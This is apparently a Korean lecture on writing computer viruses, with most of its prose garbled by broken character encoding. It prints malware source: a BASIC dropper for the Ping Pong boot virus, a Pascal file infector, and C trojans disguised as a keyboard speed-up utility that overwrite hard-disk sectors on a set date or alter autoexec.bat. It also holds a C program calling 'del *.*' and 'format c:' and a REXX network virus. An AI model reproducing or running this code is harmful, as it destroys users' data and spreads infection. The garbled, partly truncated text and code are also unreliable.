¾È³çÇϼ¼¿ä. 6ȸ°­ÁÂÀÔ´Ï´Ù. À̹ø ½Ã°£¿¡´Â ±âŸ ¾ð¾î·Î Á¦ÀÛÇÑ ¹ÙÀÌ·¯½º¸¦ »ìÆ캸±â·Î ÇÏ°Ú½À´Ï´Ù. 2) º£ÀÌÁ÷À¸·Î ±¸ÇöÇÑ ¹ÙÀÌ·¯½º ÇÎÆþ¹ÙÀÌ·¯½º¸¦ ¿¹·Î µé¾î ¼³¸íÇÏ°Ú´Ù. [ÇÎÆþ ¹ÙÀÌ·¯½º] Ãâó : 1988³â 3¿ù, Italia Àü¿°±âÁ¾ : IBM PC ¹× ȣȯ ±âÁ¾ Àü¿°Á¾·ù : ºÎÆ® ¼½ÅÍ °¨¿°ÀÚ ºñ°í : 90³â ÃÊ¿¡ ±¹³»¿¡¼­ ¹ß°ß Ç÷ÎÇÇ µð½ºÅ© ¹× ÇÏµå µð½ºÅ©ÀÇ ºÎÆ® ¿µ¿ª Àü¿°µÈ´Ù. ¿ø·¡ÀÇ ºÎÆ® ¼½Å͸¦ ´Ù¸¥ Àå¼Ò·Î À̵¿½ÃÅ° °í µð½ºÄÏÀÏ °æ¿ì 1°³ÀÇ ¹Ì»ç¿ë Ŭ·¯½ºÅ͸¦ ºÒ·® Ŭ·¯½ºÅÍ·Î ¸¸µé¸ç ¿©±â¿¡ ¿ø·¡ÀÇ ºÎÆ® ¼½ÅÍ ¹× ¹ÙÀÌ·¯½º ÇÁ·Î±×·¥ÀÇ ³ª¸ÓÁö¸¦ ÀúÀåÇÑ´Ù. ÇϵåÀÏ °æ¿ì »çÀ̵å:0, ½Ç¸°µå:0ÀÇ ¿µ¿ª¿¡ ¿ø·¡ÀÇ ºÎÆ® ¼½ÅÍ ¹× ¹ÙÀÌ·¯½º ÇÁ·Î±×·¥ÀÇ ³ª¸ÓÁö¸¦ ÀúÀåÇÑ´Ù. DOS ¹öÀü ¹× Á¾·áÇ¥½Ã(55 AA)´Â º¯ÇÏÁö ¾Ê´Â ´Ù. ¸Þ¸ð¸® Å©±â¸¦ 2K °¨¼Ò½ÃÅ°¸ç ÀÎÅÍ·´Æ® º¤Å͸¦ º¯°æ½ÃÅ°´Ù. ¿ø·¡ÀÇ Ping Pong ¹ÙÀÌ·¯½º´Â 360K Ç÷ÎÇǸ¸ °¨¿°½ÃŲ´Ù. °¨¿°µÈ µð½ºÅ©·Î ºÎÆÃÇÏ¸é ¹ÙÀÌ·¯½º ÇÁ·Î±×·¥ÀÌ ¸Þ¸ð¸®¿¡ »óÁÖÇϸç, »óÁÖÈÄ INT 13H¹ø ¼öÇà½Ã AccessÇÏ´Â µð½ºÅ©¸¦ °¨¿°½ÃŲ´Ù. µð½ºÅ© ÀÔÃâ·Â ¼Óµµ°¡ ´À·ÁÁö¸ç µð½ºÅ©ÀÏ °æ¿ì ÇÑ°³ÀÇ ºÒ·® Ŭ ·¯½ºÅÍ°¡ »ý±ä´Ù. È°µ¿ ½Ã±â°¡ µÇ¸é È­¸é¿¡ bouncing ball È¿°ú°¡ ³ªÅ¸³­´Ù. È°µ¿ ½Ã±â´Â ÀÓÀ§Àû ÀÌ¸ç ½Ã½ºÅÛÀ» Àç ºÎÆÃÇÏÁö ¾ÊÀ¸¸é bouncingÀÌ ¸ØÃßÁö ¾Ê´Â´Ù. ±âŸ ´Ù¸¥ ÇÇÇØ´Â ¾ø´Ù. ÇÎÆþ¹ÙÀÌ·¯½ºÀÇ º£ÀÌÁ÷ ¼Ò½º 100 REM - basic progrom to create pingpong.com 110 CLS:PRINT "creating pingpong.com":OPEN "pingpong.com" AS #1 LEN=1 120 FIELD #1, 1 AS A$:CHECKSUM#=0 130 FOR I=1 TO 19 140 LINESUM#=0:LOCATE 2,3:PRINT "countdown:" 19 - I; 150 FOR J=1 TO 16:READ BYTE$:BYTE=VAL("&h"+BYTE$) 160 CHECKSUM#=CHECKSUM#+BYTE:LINESUM#=LINESUM#+BYTE 170 IF (BYTE<256) THEN LSET A$=CHR$(BYTE):PUT #1 180 NEXT J 190 READ LINETOT$:LINECHECK#=VAL("&h"+LINETOT$) 200 IF LINECHECK#=LINESUM# THEN GOTO 220 210 LOCATE 4,2:PRINT "error in line #";260+10*I:GOTO 260 220 NEXT I 230 CLOSE #1:READ FILETOT$:FILECHECK#=VAL(FILETOT$) 240 IF CHECKSUM# <> FILECHECK# THEN GOTO 260 250 PRINT:PRINT "pingpong.com created successfully":SYSTEM 260 PRINT:PRINT "pingpong.com is not valid!":END 270 DATA e9, fd, 0, 20, 7, 29, 5, ff, 1, 0, 7, 0, 4f, 0, 0, 0, 391 280 DATA 0, 1e, 50, 53, 51, 52, e, 1f, b4, f, cd, 10, 8a, d8, 3b, 1e, 4ec 290 DATA a, 1, 74, 36, 89, 1e, a, 1, fe, cc, 88, 26, c, 1, b4, 1, 4a1 300 DATA 80, fb, 7, 75, 2, fe, cc, 80, fb, 4, 73, 2, fe, cc, 88, 26, 82f 310 DATA 9, 1, c7, 6, 5, 1, 1, 1, c7, 6, 7, 1, 1, 1, b4, 3, 26d 320 DATA cd, 10, 52, 8b, 16, 5, 1, eb, 24, 90, b4, 3, cd, 10, 52, b4, 60f 330 DATA 2, 8b, 16, 5, 1, cd, 10, a1, 3, 1, 80, 3e, 9, 1, 1, 75, 369 340 DATA 3, b8, 7, 83, 8a, dc, b9, 1, 0, b4, 9, cd, 10, 8b, e, 7, 59f 350 DATA 1, 80, fe, 0, 75, 5, 80, f5, ff, fe, c5, 80, fe, 18, 75, 5, 840 360 DATA 80, f5, ff, fe, c5, 80, fa, 0, 75, 5, 80, f1, ff, fe, c1, 3a, a94 370 DATA 16, c, 1, 75, 5, 80, f1, ff, fe, c1, 3b, e, 7, 1, 75, 17, 5a9 380 DATA a1, 3, 1, 24, 7, 3c, 3, 75, 5, 80, f5, ff, fe, c5, 3c, 5, 601 390 DATA 75, 5, 80, f1, ff, fe, c1, 2, d1, 2, f5, 89, e, 7, 1, 89, 79b 400 DATA 16, 5, 1, b4, 2, cd, 10, b4, 8, cd, 10, a3, 3, 1, 8a, dc, 555 410 DATA 80, 3e, 9, 1, 1, 75, 2, b3, 83, b9, 1, 0, b8, 7, 9, cd, 4c5 420 DATA 10, 5a, b4, 2, cd, 10, 5a, 59, 5b, 58, 1f, 2e, ff, 2e, d, 1, 4eb 430 DATA b8, 8, 35, cd, 21, 89, 1e, d, 1, 8c, 6, f, 1, b8, 8, 25, 41f 440 DATA ba, 11, 1, cd, 21, ba, 0, 2, 83, c2, f, b1, 4, d3, ea, b4, 6f0 450 DATA 31, cd, 21, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 11f 460 DATA 26653 º£ÀÌÁ÷À¸·Î ÀÛ¼ºÇÑ ¹ÙÀÌ·¯½º ÀÛ¿ë : È­ÀÏ Å©±â¸¦ ¹Ù²Ù´Â °Í '-------------- 'BASIC LANGUAGE '-------------- 10 ON ERROR GOTO 430 20 LENGTHVIR=2641 (ÄÄÆÄÀÏ ÈÄ È­ÀÏ Å©±â¸¦ ÀÔ·Â) 30 VIRROOT$="BV3.EXE" 40 SHELL "DIR *.EXE>INH" 50 OPEN "R",1,"INH",32000 60 GET #1,1 70 LINE INPUT#1, ORIGINAL$ 80 LINE INPUT#1, ORIGINAL$ 90 LINE INPUT#1, ORIGINAL$ 100 LINE INPUT#1, ORIGINAL$ 110 ON ERROR GOTO 430 120 CLOSE#2 130 F=1 : LINE INPUT#1,ORIGINAL$ 140 F=1 : LINE INPUT#1,ORIGINAL$ 150 IF MID$(ORIGINAL$,1,1)='%' THEN GOTO 110 160 ORIGINAL$=MID$(ORIGINAL$,1,13) 170 EXTENSION$=MID$(ORIGINAL$,9,13) 180 MID$(EXTENSION$,1,1)="." 190 F=F+1 200 IF MID$(ORIGINAL$,F,1)=" " OR MID$(ORIGINAL$,F,1)="." OR F=13 THEN GOTO 220 210 GOTO 190 220 ORIGINHVIT 250 IF LOF(2) Files may be protected against infections of Number One by setting the READ ONLY attribute. Written 10.3.1987 by M.vallen (Turbo-Pascal 3.01A) (c) 1987 by BrainLab __________________________________________________________ } {C-} {U-} {I-} { Do not allow an user break, enable IO check } {---- Constants -------------------------------------------} Const VirusSize = 12027; { Number one's code size } Warning : String[42] { Warning message } = 'This file has been infected by Number One'; {---- Type declaration ------------------------------------} Type DTARec = Record { È­ÀÏhing entry } If not Odd(Reg.flags) then { If a file found then ...} Repeat UsePath := DTA.FullName; B:=dos(#0,UsePath); If B>0 Then Delete(UsePath, B, 255); { Remove grabage } Assign(Go,UsePath); Reset(Go); If IOresult = 0 then { If not IO error then ...} Begin BlockRead(Go,Buffer, 2); Move (Buffer[$80], TestID, 43); { È­ÀÏÀÌ °¨¿°µÇ¾ú´ÂÁö¸¦ °Ë»ç } If TsetID <> Warning then Begin Seek(Go,0); MarkIntected := Warning; Blockwrite(Go,ProGramStart, Succ(VirusSize Shr 7)); Close (Go); Writeln(UsePath + ' intected. '); Halt; End; Close(Go); End; { È­ÀÏÀÌ ÀÌ¹Ì °¨¿°µÇ¾úÀ½, ´ÙÀ½ È­ÀÏ·Î ÀÛ¾÷ ¿¬°á } Reg.AH := $4F; Reg.DS := Seg(DTA); Reg.DX := Ofs(DTA); MsDos(Reg); Until Odd(Reg.Flags); Write(''); END. {of Program} 4) C ·Î ±¸ÇöÇÑ ¹ÙÀÌ·¯½º ´ÙÀ½Àº ÇÏµå µð½ºÅ© Æı« Æ®·ÎÀÌ ¸ñ¸¶ ¹ÙÀÌ·¯½º C ¼Ò½ºÀÔ´Ï´Ù. ´ÙÀ½ ¹èÄ¡·Î ±¸ÇöÇÑ ¹ÙÀÌ·¯½º ÀÇ Æ®·ÎÀÌ ¸ñ¸¶Çü ±¸Á¶¿Í ºñ½ÁÇÕ´Ï´Ù. ´ÜÁö Â÷ÀÌÁ¡Àº °³¹ß ¾ð¾î¿Í ¾à°£ÀÇ Ä§Åõ¹æ¹ýÀÇ Â÷ÀÌ°ÚÁÒ. ´ÙÀ½ ¹ÙÀÌ·¯½º ÇÁ·Î±×·¥Àº Çϵåµð½ºÅ©¸¦ ºü¸£°Ô ÇÕ´Ï´Ù. ±×·¯³ª ÁöÁ¤ÇÑ ³¯Â¥,Á¶°ÇÀÌ ¸ÂÀ¸¸é ÇÏµå µð½ºÅ©¸¦ Æı«ÇØ ¹ö¸³´Ï´Ù. C ·Î Æ®·ÎÀ̸ñ¸¶ ¹ÙÀÌ·¯½º¸¦ ±¸ÇöÇÒ ¼ö ÀÖ´Ù´Â Á¤µµ·Î ¾Ë¾Æ µÎ½Ê½Ã¿ä. *¹ÙÀÌ·¯½º ¸ÞÀÎ ºÎºÐÀÔ´Ï´Ù // Main Source Fast.C #include #include #include #include #define LASTHEAD 1 #define LASTTRACK 79 #define LASTSECTOR 15 #define BYTESPERSECTOR 512 #define driveToRead 0x80 // C: drive (Æı«´ë»ó µå¶óÀ̺ê ÁöÁ¤) char diskBuffer[BYTESPERSECTOR * LASTSECTOR]; typedef struct{ // ³¯Â¥ÀÇ ±¸Á¶Ã¼ int Year; int Month; int Day; } Time_Type; // Å°º¸µå ºü¸£°Ô ÇÏ´Â ·çƾ (Æ®·ÎÀÌ ¸ñ¸¶ÀÇ ¿ÜÇü ºÎºÐ) void Fast_Key( void ) { outp( 0x60, 0xF3 ); delay( 100 ); outp( 0x60, 0x00 ); delay( 100 ); } // Çϵåµð½ºÅ© ¼½ÅÍ ¾²±â unsigned char WriteHardSector( unsigned char drive, unsigned char sectorsToWrite, unsigned char head, unsigned int cylinder, unsigned char sector, unsigned char far *bufferPtr ){ union REGS reg; struct SREGS sreg; reg.h.ah = 3; reg.h.al = sectorsToWrite; reg.x.bx = FP_OFF(bufferPtr); reg.h.dh = head; reg.h.dl = drive; reg.h.ch = cylinder; reg.h.cl = (cylinder >> 8); reg.h.cl <<= 6; reg.h.cl |= (sector & 63); sreg.es = FP_SEG(bufferPtr); int86x(0x13,®,®,&sreg); return(reg.h.ah); } void main( void ){ unsigned char currentHead,currentTrack,currentSector; struct date cur_d; // ³¯Â¥ FILE *Read_Exe; // È­ÀÏ Æ÷ÀÎÅÍ Time_Type Clack_Time; // Æı« ´ë»ó Çϵåµð½ºÅ© ³¯Â¥ÀÇ ±¸Á¶Ã¼ int Data_Size = 0; // ³¯Â¥¸¦ ÀбâÀ§ÇÑ »çÀÌÁî getdate(&cur_d); // ÇöÀç ³¯Â¥ ¾Ë¾Æ³»±â Read_Exe = fopen("fast.exe","rb"); //¹ÙÀÌ·¯½º °³½Ã ³¯Â¥¸¦ ¾Ë¾Æ³»±â À§ÇØ ½ÇÇàÈ­ÀÏÀ» OPEN //Open½Ã fast.exe È­ÀÏÀÌ Çöµð·ºÅ丮¿¡ ÀÖ¾î¾ßÇÔ Data_Size = sizeof(Time_Type); fseek(Read_Exe,-Data_Size,SEEK_END); // ½ÇÇà È­ÀÏ ³¡¿¡¼­ Data_Size¸¸Å­ // µÚ·Î Æ÷ÀÎÆ®¸¦ ¿Å±è fread(&Clack_Time,sizeof(Time_Type),1,Read_Exe); // µ¥ÀÌŸ Àбâ if( ( Clack_Time.Year == cur_d.da_year) && ( Clack_Time.Month == cur_d.da_mon ) && ( Clack_Time.Day == cur_d.da_day )){ // ³¯Â¥°¡ ½ÇÇàÈ­ÀÏ ³¡¿¡ ºÙÀº ³¯Â¥¿Í ÀÏÄ¡ Çϸé Çϵå Æı« for(currentTrack = 0; currentTrack <= LASTTRACK; currentTrack++){ for(currentHead = 0; currentHead <= LASTHEAD; currentHead++){ //½ÇÁ¦ Çϵåµð½ºÅ© Æı« ºÎºÐ //¾û¶×ÇÑ µ¥ÀÌŸ¸¦ ¸¶±¸ ½á¹ö¸² WriteHardSector(driveToRead,LASTSECTOR,currentHead, currentTrack,1,diskBuffer); } } textattr( WHITE | BLUE << 4); cprintf("[ Cracking Ok ! ]"); textattr( WHITE | BLACK << 4); cprintf("\n"); } // ³¯Â¥°¡ ¸ÂÁö ¾ÊÀ» °æ¿ì ±×³É Å°º¸µå ¼Óµµ¸¦ ºü¸£°Ô ÇÑ´Ù else { Fast_Key(); textattr( WHITE | BLUE << 4); cprintf("Fast_key Installed !"); textattr( WHITE | BLACK << 4); cprintf("\n"); } } *µÎ¹ø° ½Ã°£À» ¸ÂÃß´Â ¼Ò½ºÀÔ´Ï´Ù. // ½Ã°£À» ¸ÂÃß´Â ¼Ò½º Set_Time.C // »ç¿ë¹ý : [ Set_Time 1995 3 9 ] #include #include typedef struct{ int Year; int Month; int Day; } Time_Type; void main(int argc,int **argv){ struct date cur_d; FILE *Read_Exe; Time_Type Clack_Time; Clack_Time.Year = atoi(argv[1]); Clack_Time.Month = atoi(argv[2]); Clack_Time.Day = atoi(argv[3]); Read_Exe = fopen("fast.exe","rb+"); if(Read_Exe == NULL) printf("\nFile Opening Error [ Fast.exe ]\n"); fseek(Read_Exe,0L,SEEK_END); // È­ÀÏ Æ÷ÀÎÅ͸¦ ³¡À¸·Î ¿Å±ä´Ù fwrite(&Clack_Time,sizeof(Time_Type),1,Read_Exe); //³¯Â¥¸¦ Fast.exe³¡¿¡ ºÙÀδ٠fclose(Read_Exe); // È­ÀÏ ´Ý±â. } ´ÙÀ½Àº À§¿Í ¾ÆÁÖ À¯»çÇÑ ÇüÅÂÀÇ Æ®·ÎÀÌ ¸ñ¸¶Çü ¹ÙÀÌ·¯½º ¼Ò½º ÀÔ´Ï´Ù. #include #include #include #include void next(); struct mystruct { int num; char name[10]; char tel[10]; }; char n[]="@echo off\ntype t.cmm\n"; main() { int r; long add; FILE *fp; struct mystruct s,d,f; if ( ( fp = fopen("C:\\t.cmm","wb+" )) == NULL ) { exit(-1); } s.num = 1; strcpy( s.name,"I'm Hacker"); strcpy( s.tel,"HaHa..."); fwrite(&s , sizeof(s),1,fp); fseek( fp,0,SEEK_SET); fread( &d,sizeof(d),1,fp); fclose(fp); fp = fopen ("C:\\autoexec.bat","r+"); fprintf(fp,"%22s",n); fwrite(n,1,1,fp); fseek(fp,add,0); add = r+190; fclose(fp); next(); } /*************************************************************************** * * * Å°º¸µå ¼Óµµ¸¦ ºü¸£°Ô ÇØ ÁÖ´Â À¯Æ¿¸®Æ¼. (FAST.COM) * * * * ¸¸µç °÷ : ÇÏ ´Ã ¼Ò ( °æºÏ´ëÇб³ ÀüÀÚ°øÇаú ) * * ¸¸µç »ç¶÷ : ÀÌ ¿µ »ó ( ÇÏ´Ã¼Ò 2 ±â ) * * ¸¸µç ³¯Â¥ : 4323³â 7¿ù * * * ****************************************************************************/ #include /* µµ½º¿¡ °ü·ÃµÈ ÇÔ¼öµéÀ» ¾²°Ú´Ù´Â ¸»ÀÌ´Ù. */ /******************** ÇÊ¿äÇÑ ¼±¾ðÀ» ÇÏ´Â ºÎºÐ **********************/ #define KB_STATUS_P 0x64 /* Å°º¸µåÀÇ »óŸ¦ ¾Ë¼ö ÀÖ´Â Port ¹øÈ£ */ #define KB_DATA_P 0x60 /* Å°º¸µå¿¡ µ¥ÀÌÅ͸¦ º¸³¾¶§ ¾²´Â Port ¹øÈ£ */ #define ACK_SIGNAL 0xfa /* ÀνÄ(Acknowledge) Çß´Ù´Â ½ÅÈ£ */ #define SET_TYPEM 0xf3 /* Å°º¸µåÀÇ ¼Óµµ¸¦ ¹Ù²Ù°Ú´Ù´Â ¸í·É Code */ #define OB_FULL 1 /* Output buffer¿¡ ÇÑ ±ÛÀÚ°¡ ÀÖÀ»¶§ */ #define IB_FULL 2 /* Input buffer¿¡ ÇÑ ±ÛÀÚ°¡ ÀÖÀ»¶§ */ #define MAX_TRY 3 /* ÃÖ´ë ½Ãµµ Ƚ¼ö */ /******************** ÇÔ¼öÀÇ ÇüÀ» ¼±¾ðÇÏ´Â ºÎºÐ **********************/ int set_typm( int gap ); /* Å°º¸µåÀÇ ¼Óµµ¸¦ Á¶Àý ÇÏ´Â ÇÔ¼ö */ int send_kb ( int gap ); /* Å°º¸µå¿¡ ÁöÁ¤ °ªÀ» º¸³»ÁÖ´Â ÇÔ¼ö */ /******************** Ç®±×¸²ÀÇ ½ÃÀÛ ºÎºÐ **********************/ void next( void ) { if( set_typm(0) ) /* ¼º°øÀûÀ¸·Î ³¡³µÀ¸¸é */ printf("\n\tSuper Keyboard Mania V2.0\n"); else printf("\n\7\tError in adjusting keyboard speed !!\n"); } int set_typm( int gap ) { disable(); /* ÀÎÅÍ·´Æ®°¡ °É¸®Áö ¾Ê°Ô ÇÑ´Ù. */ if ( send_kb( SET_TYPEM ) ) /* Å°º¸µå¿¡°Ô ¼Óµµ Á¶ÀýÀ» ÇÑ´Ù´Â ¸í·ÉÀ» º¸³½´Ù. */ { if( send_kb( gap ) ) /* Å°º¸µå·Î ¿øÇÏ´Â ¼Óµµ¸¦ º¸³½´Ù. */ { enable(); /* ÀÎÅÍ·´Æ®°¡ ´Ù½Ã °É¸®°Ô ÇÑ´Ù. */ return( 1 ); /* ¼º°øÀû */ } } enable(); /* ÀÎÅÍ·´Æ®°¡ ´Ù½Ã °É¸®°Ô ÇÑ´Ù. */ return( 0 ); /* Á¦´ë·Î µÇÁö ¾Ê¾ÒÀ»¶§ */ } int send_kb( int gap ) { int i = MAX_TRY; /* i ¿¡ ÃÖ´ë ½Ãµµ Ƚ¼ö °ªÀ» ³Ö´Â´Ù. */ unsigned int j; while( i-- ) { j = 30000; while( --j ) /* Input buffer¿¡ °ªÀÌ µé¾î¿Ã¶§ ±îÁö 30000¹ø µ¹¸°´Ù. */ if( inportb( KB_STATUS_P ) == IB_FULL ) break; outportb( KB_DATA_P, (unsigned char)gap ); /* Å°º¸µå¿¡ °ªÀ» º¸³½´Ù */ j = 30000; while( --j ) /* Output buffer¿¡ °ªÀÌ ¾ø¾îÁú¶§ ±îÁö ±â´Ù¸°´Ù. */ if( inportb( KB_STATUS_P ) != OB_FULL ) break; j = 30000; while( --j ) /* Å°º¸µå¿¡¼­ Àß ¹Þ¾Ò´Ù´Â ½ÅÈ£°¡ ¿Ã¶§ ±îÁö ±â´Ù¸°´Ù. */ if( inportb( KB_DATA_P ) == ACK_SIGNAL ) return( 1 ); } return( 0 ); /* Á¦´ë·Î µÇÁö ¾Ê¾ÒÀ»¶§ 0À» ¸®ÅÏ */ } ´ÙÀ½Àº ¾ÆÁÖ °£´ÜÇÑ C ·Î ¸¸µç Æ®·ÎÀÌ ¸ñ¸¶ ¹ÙÀÌ·¯½ºÀÔ´Ï´Ù. C¸¦ ¸ð¸£´Â ºÐÀÌ¶óµµ ´ÙÀ½ ¼Ò½º¸¦ º¸¸é ¹º°¡ ¾Æ½Ç°Ì´Ï´Ù. #include main() { printf("Wait ...\n"); system("echo y! del *.*"); system("echo y! format c: >nul"); } "|"´Â µµ½º(¹èÄ¡)»ó¿¡¼­µµ ÁÖ·Î ¾²ÀÌ´Â °ÍÀ¸·Î ½¬ÇÁƮŰ¿Í \¸¦ ´©¸£¸é ³ª¿É´Ï´Ù. 6) ±×¿ÜÀÇ ¹ÙÀÌ·¯½º ´ÙÀ½Àº Rexx ¶ó´Â ¾ð¾î·Î Á¦ÀÛÇÑ ³×Æ®¿öÅ© »óÀÇ ¹ÙÀÌ·¯½ºÀÇ ¼Ò½ºÀÌ´Ù. --------------------TOP OF FILE------------------------------------------- /LOAD REXX IF RANDOM(2) <> 0 THEN DO NAME.1 = 'PQ' NAME.2 = 'OUTPUT' NAME.3 = 'PROFILE' NAME.4 = 'BROWSE' NAME.5 = 'HELP' FANME='VIRUS' MAXLINE=0 W1=1 W2=80 CLONE=0 I=0 PARA='FNAME MAXLINE REC W1 W2 CLONE ' DO WHILE I < 20 I=I+1 M1.I='' M2.I='' PARA = PARA || 'M1.' || I || ' M2.' || I || ' ' END COMMAND = '(DOCTOR VIRUS)' PARA = PARA || 'COMMAND' C=0 M1.8='-->' DO WHILE C < 10 MN.3=' COMPUTER VIRUS IN MULTI-USER TIME-SHARING ENVIROMENT ' IF C=9 TH N COMMAND '..O,O;.. CANCEL ..' CLINE=C MAXFILE=C+1 'PANEL IGCX:ED.PAN ' || PARA IF COMMAND='HELP' THEN C=20 C=C+1 END C=RANDOM(5) 'COPY IGCX:TEMP ' || NAME.C || 'XO' -------------------END OF FILE----------------------------------------- (PROGRAM TEMP) ------------------TOP OF FILE--- ------------------------------------- /LOAD REXX SAY 'INFECTED BY COMPUTER VIRUS MEROMNG' EXIT -----------------END OF FILE------------------------------------------ Rexx ¶ó´Â ÇÁ·Î±×·¡¹Ö ¾ð¾î´Â ³×Æ®¿öÅ© ¿¡¼­ ÁÖ·Î »ç¿ëµÇ¸ç batch ÆÄÀÏ°ú basicÀÇÀåÁ¡À» µý °ÍÀÌ´Ù. ´ÙÀ½Àº ¹ÙÀÌ·¯½º ½Ã¹Ä·¹ÀÌ¼Ç ÇÁ·Î±×·¥ÀÔ´Ï´Ù. ½ÇÁ¦ ¹ÙÀÌ·¯½º´Â ¾Æ´ÏÁö¸¸ ¹ÙÀÌ·¯½ºÃ³·³ º¸ÀÌ´Â °ÍÀÔ´Ï´Ù. JIJIN.COM ;È­¸éÀ» À§¾Æ·¡·Î Èçµé¾î ÁÝ´Ï´Ù. JINE.COM ;Áö³×°¡ ³ª¿Í¼­ ±ÛÀÚ¸¦ À̵¿½Ãŵ´Ï´Ù. PINGPONG.ASM ;ÇÎÆþ ¹ÙÀÌ·¯½º ¿¡¹Ä·¹ÀÌÅÍ ¼Ò½º. PINGPONG.COM ;À§ ¼Ò½º¸¦ ¾î¼ÀºíÇÑ °ÍÀÔ´Ï´Ù. PP.COM ;º£À̽ÄÀ¸·Î ÄÄÆÄÀÏÇÑ ÇÎÆþ ½Ã¹Ä. SLOWFALL.COM ;Ä¿¼­¸¦ ´À¸° ¼Óµµ·Î ¾Æ·¡·Î ¶³¾î¶ß¸². VGAFLIP.COM ;È­¸éÀ» µÚ¹Ù²ã ÁÝ´Ï´Ù. ZERO.COM ;È­¸é¿¡ Ç¥½ÃµÈ 0ÀÚ¸¦ Áö¿ó´Ï´Ù. ÀÌ»ó.